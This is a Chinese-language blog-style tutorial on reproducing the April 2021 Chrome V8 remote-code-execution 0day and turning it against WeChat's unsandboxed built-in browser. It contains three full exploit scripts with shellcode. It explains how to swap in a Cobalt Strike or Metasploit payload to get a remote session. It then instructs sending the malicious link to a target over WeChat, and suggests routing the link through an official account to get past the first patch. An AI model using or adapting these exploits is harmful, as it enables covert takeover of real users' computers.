微信-Chrome远程代码执行

前言

2021年04月13日,国外安全研究员发布了Chrome 远程代码执行 0Day的POC详情，后又爆出微信内置浏览器用的就是低版本Chrome内核，且默认关闭沙盒–no-sandbox，正好能够结合Chrome漏洞进行利用，这里借着这个时间来复现一下这个漏洞。

Chrome漏洞复现

国外安全研究员发布了Chrome远程代码执行0Day漏洞的POC详情，漏洞为“严重”级别。攻击者利用此漏洞，构造一个恶意的web页面，用户访问该页面时，会造成远程代码执行。

大量采用Chrome内核的浏览器同样也会受此漏洞影响，如微软的Edge浏览器，影响版本：Chrome: <=89.0.4389.114，可通过在Chrome浏览器中输入chrome://version查看版本等信息。

本地测试版本：89.0.4389.9，这个漏洞利用条件是必须关闭Chrome浏览器沙盒–no-sandbox，默认为开启状态，所以一般用户不会受此漏洞影响。

1	chrome.exe -no-sandbox

POC验证（弹计算器）：https://github.com/r4j0x00/exploits/tree/master/chrome-0day

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
	x = (_arr[0] ^ 0) + 1;

	x = Math.abs(x);
	x -= 2147483647;
	x = Math.max(x, 0);

	x -= 1;
	if(x==-1) x = 0;

	var arr = new Array(x);
	arr.shift();
	var cor = [1.1, 1.2, 1.3];

	return [arr, cor];
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
    arr[idx+1] = k;
    return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
    cor[0] = itof(k);
    return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    return (fake[0]);
}

function arbwrite(addr, val) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
copy_shellcode(rwx_page_addr, shellcode);
f();

上边的POC只是单纯验证弹出计算器，如果想要上线到CS/MSF得用下边这个EXP，在CS或MSF中生成一个64位的C Payload（C#则无需替换），然后将里边的shellcode（这里选择CS上线）提取出来并将其中的\替换为 ,0放到exploit2.html文件中即可。

CS监听端口（随自己选择）
生成payload
替换payload，将其中的\替换为 ,0

取出替换后的shellcode，放入以下html的shellcode中

<title>chrome test</title>
<h1>test</h1>
<script>
   function gc() {
       for (var i = 0; i < 0x80000; ++i) {
           var a = new ArrayBuffer();
      }
  }
   let shellcode = [];
   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
   var wasmModule = new WebAssembly.Module(wasmCode);
   var wasmInstance = new WebAssembly.Instance(wasmModule);
   var main = wasmInstance.exports.main;
   var bf = new ArrayBuffer(8);
   var bfView = new DataView(bf);
   function fLow(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(0, true));
  }
   function fHi(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(4, true))
  }
   function i2f(low, hi) {
       bfView.setUint32(0, low, true);
       bfView.setUint32(4, hi, true);
       return bfView.getFloat64(0, true);
  }
   function f2big(f) {
       bfView.setFloat64(0, f, true);
       return bfView.getBigUint64(0, true);
  }
   function big2f(b) {
       bfView.setBigUint64(0, b, true);
       return bfView.getFloat64(0, true);
  }
   class LeakArrayBuffer extends ArrayBuffer {
       constructor(size) {
           super(size);
           this.slot = 0xb33f;
      }
  }
   function foo(a) {
       let x = -1;
       if (a) x = 0xFFFFFFFF;
       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
       arr.shift();
       let local_arr = Array(2);
       local_arr[0] = 5.1;//4014666666666666
       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
       arr[0] = 0x1122;
       return [arr, local_arr, buff];
  }
   for (var i = 0; i < 0x10000; ++i)
       foo(false);
   gc(); gc();
  [corrput_arr, rwarr, corrupt_buff] = foo(true);
   corrput_arr[12] = 0x22444;
   delete corrput_arr;
   function setbackingStore(hi, low) {
       rwarr[4] = i2f(fLow(rwarr[4]), hi);
       rwarr[5] = i2f(low, fHi(rwarr[5]));
  }
   function leakObjLow(o) {
       corrupt_buff.slot = o;
       return (fLow(rwarr[9]) - 1);
  }
   let corrupt_view = new DataView(corrupt_buff);
   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
   let idx0Addr = corrupt_buffer_ptr_low - 0x10;
   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
   let delta = baseAddr + 0x1c - idx0Addr;
   if ((delta % 8) == 0) {
       let baseIdx = delta / 8;
       this.base = fLow(rwarr[baseIdx]);
  } else {
       let baseIdx = ((delta - (delta % 8)) / 8);
       this.base = fHi(rwarr[baseIdx]);
  }
   let wasmInsAddr = leakObjLow(wasmInstance);
   setbackingStore(wasmInsAddr, this.base);
   let code_entry = corrupt_view.getFloat64(13 * 8, true);
   setbackingStore(fLow(code_entry), fHi(code_entry));
   for (let i = 0; i < shellcode.length; i++) {
       corrupt_view.setUint8(i, shellcode[i]);
  }
   main();
</script>

-no-sandbox 参数关闭沙箱，在chrome浏览器打开exploit2.html， CS 上线

关闭该页面会话即断开，建议在上线后执行进程迁移。

微信CS上线复现

微信内置浏览器使用Chrome内核，且默认关闭沙盒–no-sandbox，所以可以直接利用Chrome远程代码执行漏洞，黑客只需要通过微信发送一个特制Web链接，用户一旦点击链接，微信PC Windows版进程wechatweb.exe会加载shellcode执行，整个过程无文件落地，无新进程产生。
可以访问一下链接来查看微信内置chrome浏览器的版本：

https://wuchendi.gitee.io/chrome/index.html
微信的利用方式与Chrome差不多，就不再详细写具体步骤了，只需要将以下EXP中的第5行shellcode替换为我们CS或MSF生成的32位C# Payload即可。

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [  ];

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();

    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

然后通过微信将我们的恶意链接发给对方，等待他点击该链接后即可成功得到目标主机会话。
tips
- 对于微信4.2.1.143版本，这是爆出漏洞后的第一次更新，临时关闭了微信内置浏览器，采取白名单方式进行验证，仅允许*.weixin.qq.com白名单域名通过内置浏览器打开，但是依旧没有开启沙盒，所以我们还可以通过公众号的阅读原文等方式来访问恶意链接上线CS/MSF。
- 对于微信4.2.1.151版本，这是爆出漏洞后的第二次更新，基本上已经完全修复了这个漏洞，升级了微信版本、暂时不用wechatweb.exe做为内置浏览器（不过文件还在，说不定还会用）、删除禁用沙盒–no-sandbox参数等，目前在线升级只能到143，151需要通过官网下载。